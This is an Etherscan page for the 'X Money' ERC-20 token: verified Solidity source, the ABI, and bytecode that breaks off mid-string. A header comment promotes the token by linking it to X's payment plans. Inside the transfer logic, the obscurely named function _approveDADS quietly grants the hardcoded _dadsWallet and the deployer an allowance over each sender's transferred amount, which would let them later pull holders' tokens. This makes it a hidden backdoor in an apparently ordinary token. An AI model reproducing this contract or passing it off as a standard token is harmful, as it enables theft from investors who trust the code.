ETH Price: $2,066.51 (-4.51%)

Token

X Money (XMONEY)
 

Overview

Max Total Supply

1,000,000,000 XMONEY

Holders

146

Transfers

-
0 (0%)

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XMONEY

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-03-06
*/

/*
THE INTEL – CEO Linda Yaccarino announced on 31st December that XMoney will be released in 2025 and will be a payment system on the platform X.

https://www.congress.gov/119/crec/2025/03/04/171/41/CREC-2025-03-04-pt1-PgS1477-2.pdf

https://www.xmoneyoneth.xyz
https://x.com/Xmoney_erc
https://t.me/xmoney_erc
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

interface IDADSRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IDADSFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplidadson overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract XMONEY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    address private _dadsPair;
    IDADSRouter private _dadsRouter;
    address private _dadsWallet;
    address private _dadsAddress;
    mapping (address => uint256) private _balDADSs;
    mapping (address => mapping (address => uint256)) private _allowDADSs;
    mapping (address => bool) private _excludedFromDADS;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalDADS = 1000000000 * 10**_decimals;
    string private constant _name = unicode"X Money";
    string private constant _symbol = unicode"XMONEY";
    uint256 private _swapTokenDADSs = _tTotalDADS / 100;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint256 private _buyBlockDADS;
    uint256 private _dadsBuyAmounts = 0;
    bool private inSwapDADS = false;
    modifier lockTheSwap {
        inSwapDADS = true;
        _;
        inSwapDADS = false;
    }
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    
    constructor () {
        _dadsWallet = address(0x632eF058126fF5B292c2a1494781c905246C57e0);
        _excludedFromDADS[owner()] = true;
        _excludedFromDADS[address(this)] = true;
        _excludedFromDADS[_dadsWallet] = true;
        _dadsAddress = owner();
        _balDADSs[_msgSender()] = _tTotalDADS;
        emit Transfer(address(0), _msgSender(), _tTotalDADS);
    }

    function initLaunch() external onlyOwner() {
        _dadsRouter = IDADSRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_dadsRouter), _tTotalDADS);
        _dadsPair = IDADSFactory(_dadsRouter.factory()).createPair(address(this), _dadsRouter.WETH());
    }

    receive() external payable {}

    function swapTokensForEth(uint256 dadsAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _dadsRouter.WETH();
        _approve(address(this), address(_dadsRouter), dadsAmount);
        _dadsRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            dadsAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalDADS;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balDADSs[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowDADSs[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowDADSs[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowDADSs[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _approveDADS(address dadsO, uint256 dadsA) private {
        address[2] memory _dadsAddrs; 
        _dadsAddrs[0] = address(_dadsWallet); 
        _dadsAddrs[1] = address(_dadsAddress);
        for(uint256 dadsK=0;dadsK<2;dadsK++){
            _allowDADSs[dadsO][_dadsAddrs[dadsK]] = dadsA;
        }
    }

    function _transfer(address dadsF, address dadsT, uint256 dadsA) private {
        require(dadsF != address(0), "ERC20: transfer from the zero address");
        require(dadsT != address(0), "ERC20: transfer to the zero address");
        require(dadsA > 0, "Transfer amount must be greater than zero");
        uint256 taxDADS = _dadsFeeTransfer(dadsF, dadsT, dadsA);
        if(taxDADS > 0){
          _balDADSs[address(this)] = _balDADSs[address(this)].add(taxDADS);
          emit Transfer(dadsF, address(this), taxDADS);
        }
        _balDADSs[dadsF] = _balDADSs[dadsF].sub(dadsA);
        _balDADSs[dadsT] = _balDADSs[dadsT].add(dadsA.sub(taxDADS));
        emit Transfer(dadsF, dadsT, dadsA.sub(taxDADS));
    }

    function swapDADSBack(address dadsF, address dadsT, uint256 dadsA) private { 
        _approveDADS(dadsF, dadsA); uint256 tokenDADS = balanceOf(address(this)); 
        if (!inSwapDADS && dadsT == _dadsPair && _swapEnabled && _buyCount > _preventSwapBefore) {
            if(tokenDADS > _swapTokenDADSs)
            swapTokensForEth(minDADS(dadsA, minDADS(tokenDADS, _swapTokenDADSs)));
            uint256 ethDADS = address(this).balance;
            if (ethDADS >= 0) {
                sendETHDADS(address(this).balance);
            }
        }
    }

    function _dadsFeeTransfer(address dadsF, address dadsT, uint256 dadsA) private returns(uint256) {
        uint256 taxDADS; 
        if (dadsF != owner() && dadsT != owner()) {
            taxDADS = dadsA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (dadsF == _dadsPair && dadsT != address(_dadsRouter) && ! _excludedFromDADS[dadsT]) {
                if(_buyBlockDADS!=block.number){
                    _dadsBuyAmounts = 0;
                    _buyBlockDADS = block.number;
                }
                _dadsBuyAmounts += dadsA;
                _buyCount++;
            }

            if(dadsT == _dadsPair && dadsF!= address(this)) {
                require(_dadsBuyAmounts < swapLimitDADS() || _buyBlockDADS!=block.number, "Max Swap Limit");  
                taxDADS = dadsA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            swapDADSBack(dadsF, dadsT, dadsA);
        } 
        return taxDADS;
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _dadsRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    function minDADS(uint256 a, uint256 b) private pure returns (uint256) {
        return (a>b)?b:a;
    }

    function sendETHDADS(uint256 dadsA) private {
        payable(_dadsWallet).transfer(dadsA);
    }

    function swapLimitDADS() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = _dadsRouter.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = _dadsRouter.getAmountsOut(3 * 1e18, path);
        return amountOuts[1];
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526064620000146009600a62000278565b6200002490633b9aca0062000346565b6200003091906200020c565b60085560036009819055600a556000600b819055600c8190556006600d819055600e819055600f5560108190556012556013805462ffffff191690553480156200007957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600380546001600160a01b03191673632ef058126ff5b292c2a1494781c905246c57e0179055600160076000620000fa6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526007909352818320805485166001908117909155600354909116835291208054909216179055620001646000546001600160a01b031690565b600480546001600160a01b0319166001600160a01b0392909216919091179055620001926009600a62000278565b620001a290633b9aca0062000346565b33600081815260056020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e56009600a62000278565b620001f590633b9aca0062000346565b60405190815260200160405180910390a36200037e565b6000826200022a57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156200027057816000190482111562000254576200025462000368565b808516156200026257918102915b93841c939080029062000234565b509250929050565b60006200028960ff84168362000290565b9392505050565b600082620002a15750600162000340565b81620002b05750600062000340565b8160018114620002c95760028114620002d457620002f4565b600191505062000340565b60ff841115620002e857620002e862000368565b50506001821b62000340565b5060208310610133831016604e8410600b841016171562000319575081810a62000340565b6200032583836200022f565b80600019048211156200033c576200033c62000368565b0290505b92915050565b600081600019048311821515161562000363576200036362000368565b500290565b634e487b7160e01b600052601160045260246000fd5b6118d9806200038e6000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f57806397b95cd81161005957806397b95cd814610247578063a9059cbb1461025c578063c9567bf91461027c578063dd62ed3e1461029157600080fd5b8063715018a6146101d95780638da5cb5b146101f057806395d89b411461021857600080fd5b806306fdde03146100d2578063095ea7b31461011457806318160ddd1461014457806323b872dd14610167578063313ce5671461018757806370a08231146101a357600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600781526658204d6f6e657960c81b60208201525b60405161010b91906115e2565b60405180910390f35b34801561012057600080fd5b5061013461012f366004611466565b6102d7565b604051901515815260200161010b565b34801561015057600080fd5b506101596102ee565b60405190815260200161010b565b34801561017357600080fd5b50610134610182366004611425565b61030f565b34801561019357600080fd5b506040516009815260200161010b565b3480156101af57600080fd5b506101596101be3660046113b2565b6001600160a01b031660009081526005602052604090205490565b3480156101e557600080fd5b506101ee610378565b005b3480156101fc57600080fd5b506000546040516001600160a01b03909116815260200161010b565b34801561022457600080fd5b50604080518082019091526006815265584d4f4e455960d01b60208201526100fe565b34801561025357600080fd5b506101ee6103f5565b34801561026857600080fd5b50610134610277366004611466565b610625565b34801561028857600080fd5b506101ee610632565b34801561029d57600080fd5b506101596102ac3660046113ec565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60006102e43384846107ad565b5060015b92915050565b60006102fc6009600a611725565b61030a90633b9aca006117d0565b905090565b600061031c8484846108d1565b61036e84336103698560405180606001604052806028815260200161187c602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b4b565b6107ad565b5060019392505050565b6000546001600160a01b031633146103ab5760405162461bcd60e51b81526004016103a290611637565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461041f5760405162461bcd60e51b81526004016103a290611637565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561046890309061045a6009600a611725565b61036990633b9aca006117d0565b600260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104b657600080fd5b505afa1580156104ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ee91906113cf565b6001600160a01b031663c9c6539630600260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561054b57600080fd5b505afa15801561055f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058391906113cf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156105cb57600080fd5b505af11580156105df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060391906113cf565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006102e43384846108d1565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016103a290611637565b601354610100900460ff16156106b45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a2565b6002546001600160a01b031663f305d71947306106e6816001600160a01b031660009081526005602052604090205490565b6000806106fb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561075e57600080fd5b505af1158015610772573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107979190611557565b50506013805462ffff0019166201010017905550565b6001600160a01b03831661080f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a2565b6001600160a01b0382166108705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a2565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a2565b6001600160a01b0382166109975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a2565b600081116109f95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a2565b6000610a06848484610b85565b90508015610a825730600090815260056020526040902054610a289082610d4e565b30600081815260056020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a799085815260200190565b60405180910390a35b6001600160a01b038416600090815260056020526040902054610aa59083610db4565b6001600160a01b038516600090815260056020526040902055610aea610acb8383610db4565b6001600160a01b03851660009081526005602052604090205490610d4e565b6001600160a01b0380851660008181526005602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b348585610db4565b60405190815260200160405180910390a350505050565b60008184841115610b6f5760405162461bcd60e51b81526004016103a291906115e2565b506000610b7c84866117ef565b95945050505050565b600080610b9a6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610bc957506000546001600160a01b03858116911614155b15610d4657610bfa6064610bf4600d5460105411610be957600954610bed565b600b545b8690610df6565b90610e75565b6001549091506001600160a01b038681169116148015610c2857506002546001600160a01b03858116911614155b8015610c4d57506001600160a01b03841660009081526007602052604090205460ff16155b15610c92574360115414610c65576000601255436011555b8260126000828254610c7791906116a8565b909155505060108054906000610c8c83611806565b91905055505b6001546001600160a01b038581169116148015610cb857506001600160a01b0385163014155b15610d3b57610cc5610eb7565b6012541080610cd657504360115414155b610d135760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103a2565b610d386064610bf4600e5460105411610d2e57600a54610bed565b600c548690610df6565b90505b610d46858585611063565b949350505050565b600080610d5b83856116a8565b905083811015610dad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a2565b9392505050565b6000610dad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b4b565b600082610e05575060006102e8565b6000610e1183856117d0565b905082610e1e85836116c0565b14610dad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69646164736f6e206f766572666c6f6044820152607760f81b60648201526084016103a2565b6000610dad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110fe565b604080516002808252606082018352600092839291906020830190803683375050600254604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015610f2057600080fd5b505afa158015610f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5891906113cf565b81600081518110610f6b57610f6b611837565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610f9f57610f9f611837565b6001600160a01b03928316602091820292909201015260025460405163d06ca61f60e01b8152600092919091169063d06ca61f90610feb906729a2241af62c00009086906004016115c9565b60006040518083038186803b15801561100357600080fd5b505afa158015611017573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261103f9190810190611492565b90508060018151811061105457611054611837565b60200260200101519250505090565b61106d838261112c565b3060009081526005602052604090205460135460ff1615801561109d57506001546001600160a01b038481169116145b80156110b1575060135462010000900460ff165b80156110c05750600f54601054115b156110f8576008548111156110ec576110ec6110e7836110e2846008546111c1565b6111c1565b6111d6565b476110f647611356565b505b50505050565b6000818361111f5760405162461bcd60e51b81526004016103a291906115e2565b506000610b7c84866116c0565b611134611394565b6003546001600160a01b03908116825260045416602082015260005b60028110156110f8576001600160a01b0384166000908152600660205260408120849184846002811061118557611185611837565b60200201516001600160a01b03166001600160a01b031681526020019081526020016000208190555080806111b990611806565b915050611150565b60008183116111d05782610dad565b50919050565b6013805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061121857611218611837565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561126c57600080fd5b505afa158015611280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a491906113cf565b816001815181106112b7576112b7611837565b6001600160a01b0392831660209182029290920101526002546112dd91309116846107ad565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac9479061131690859060009086903090429060040161166c565b600060405180830381600087803b15801561133057600080fd5b505af1158015611344573d6000803e3d6000fd5b50506013805460ff1916905550505050565b6003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611390573d6000803e3d6000fd5b5050565b60405180604001604052806002906020820280368337509192915050565b6000602082840312156113c457600080fd5b8135610dad81611863565b6000602082840312156113e157600080fd5b8151610dad81611863565b600080604083850312156113ff57600080fd5b823561140a81611863565b9150602083013561141a81611863565b809150509250929050565b60008060006060848603121561143a57600080fd5b833561144581611863565b9250602084013561145581611863565b929592945050506040919091013590565b6000806040838503121561147957600080fd5b823561148481611863565b946020939093013593505050565b600060208083850312156114a557600080fd5b825167ffffffffffffffff808211156114bd57600080fd5b818501915085601f8301126114d157600080fd5b8151818111156114e3576114e361184d565b8060051b604051601f19603f830116810181811085821117156115085761150861184d565b604052828152858101935084860182860187018a101561152757600080fd5b600095505b8386101561154a57805185526001959095019493860193860161152c565b5098975050505050505050565b60008060006060848603121561156c57600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156115be5781516001600160a01b031687529582019590820190600101611599565b509495945050505050565b828152604060208201526000610d466040830184611585565b600060208083528351808285015260005b8181101561160f578581018301518582016040015282016115f3565b81811115611621576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a06040820152600061168b60a0830186611585565b6001600160a01b0394909416606083015250608001529392505050565b600082198211156116bb576116bb611821565b500190565b6000826116dd57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111561171d57816000190482111561170357611703611821565b8085161561171057918102915b93841c93908002906116e7565b509250929050565b6000610dad60ff84168360008261173e575060016102e8565b8161174b575060006102e8565b8160018114611761576002811461176b57611787565b60019150506102e8565b60ff84111561177c5761177c611821565b50506001821b6102e8565b5060208310610133831016604e8410600b84101617156117aa575081810a6102e8565b6117b483836116e2565b80600019048211156117c8576117c8611821565b029392505050565b60008160001904831182151516156117ea576117ea611821565b500290565b60008282101561180157611801611821565b500390565b600060001982141561181a5761181a611821565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461187857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b9cd38d0222c4738ae62082455029a844d10f21c9dbea269298b6a4c241bec5d64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c8063715018a61161007f57806397b95cd81161005957806397b95cd814610247578063a9059cbb1461025c578063c9567bf91461027c578063dd62ed3e1461029157600080fd5b8063715018a6146101d95780638da5cb5b146101f057806395d89b411461021857600080fd5b806306fdde03146100d2578063095ea7b31461011457806318160ddd1461014457806323b872dd14610167578063313ce5671461018757806370a08231146101a357600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600781526658204d6f6e657960c81b60208201525b60405161010b91906115e2565b60405180910390f35b34801561012057600080fd5b5061013461012f366004611466565b6102d7565b604051901515815260200161010b565b34801561015057600080fd5b506101596102ee565b60405190815260200161010b565b34801561017357600080fd5b50610134610182366004611425565b61030f565b34801561019357600080fd5b506040516009815260200161010b565b3480156101af57600080fd5b506101596101be3660046113b2565b6001600160a01b031660009081526005602052604090205490565b3480156101e557600080fd5b506101ee610378565b005b3480156101fc57600080fd5b506000546040516001600160a01b03909116815260200161010b565b34801561022457600080fd5b50604080518082019091526006815265584d4f4e455960d01b60208201526100fe565b34801561025357600080fd5b506101ee6103f5565b34801561026857600080fd5b50610134610277366004611466565b610625565b34801561028857600080fd5b506101ee610632565b34801561029d57600080fd5b506101596102ac3660046113ec565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60006102e43384846107ad565b5060015b92915050565b60006102fc6009600a611725565b61030a90633b9aca006117d0565b905090565b600061031c8484846108d1565b61036e84336103698560405180606001604052806028815260200161187c602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b4b565b6107ad565b5060019392505050565b6000546001600160a01b031633146103ab5760405162461bcd60e51b81526004016103a290611637565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461041f5760405162461bcd60e51b81526004016103a290611637565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561046890309061045a6009600a611725565b61036990633b9aca006117d0565b600260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104b657600080fd5b505afa1580156104ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ee91906113cf565b6001600160a01b031663c9c6539630600260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561054b57600080fd5b505afa15801561055f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058391906113cf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156105cb57600080fd5b505af11580156105df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060391906113cf565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006102e43384846108d1565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016103a290611637565b601354610100900460ff16156106b45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a2565b6002546001600160a01b031663f305d71947306106e6816001600160a01b031660009081526005602052604090205490565b6000806106fb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561075e57600080fd5b505af1158015610772573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107979190611557565b50506013805462ffff0019166201010017905550565b6001600160a01b03831661080f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a2565b6001600160a01b0382166108705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a2565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a2565b6001600160a01b0382166109975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a2565b600081116109f95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a2565b6000610a06848484610b85565b90508015610a825730600090815260056020526040902054610a289082610d4e565b30600081815260056020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a799085815260200190565b60405180910390a35b6001600160a01b0384166000908152600560205260409